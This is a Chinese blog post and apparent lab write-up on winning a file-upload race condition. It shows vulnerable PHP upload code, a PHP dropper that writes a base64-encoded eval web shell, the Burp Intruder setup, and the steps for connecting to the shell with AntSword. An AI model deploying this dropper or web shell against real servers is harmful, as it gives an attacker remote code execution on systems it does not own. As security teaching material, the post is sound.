Loading

文件上传之条件竞争

文件上传-条件竞争

作者:Mi2ac1e

一直以来都知道文件上传中有一个绕过方法是条件竞争,但没有实际试验过。于是在今天实验的过程中发现了一些问题,写这篇文章记录一下。

0x01 代码分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}else{
    $msg = '上传出错!';
}

}

代码分析:先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除。

明显缺陷在于:先将文件上传到服务器中并且该操作没有重命名我们上传的文件。这就可以让我们有了可乘之机:只要知道我们将文件上传到了哪,就可以设置burp一直上传、一直访问。

0x02 漏洞利用

为了万无一失,我并没有将上传的php直接写成一句话木马,而是访问这个文件即可生成一个webshell

需要上传的php代码:

<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>

这里需要写入的内容使用了base64加密,原因是如果你直接将$a=一句话木马,生成的文件中将不会含有$_POST['xxx'] 所以我们需要使用base64加密

我把这个文件命名为tjjz.php

上传文件的Burp-intruder:


尽管你后面使用Null payload,但仍然需要设定一个变量。而且这个变量最好是空格作为变量。否则他的请求包会变成这样:

(随便设置变量并选择Null payloads的下场,他会将变量变成空)

访问地址的Burp-intruder:


0x03结果呈现


这里想要说明的是注意看他们的length跟大部分的时候不一样,而并非200的状态码。因为有时候网站设置即使不存在这个页面他也是200

蚁剑连接生成的shell.php 密码 a

posted @ 2021-07-17 11:49  mi2ac1e  阅读(1672)  评论(0编辑  收藏  举报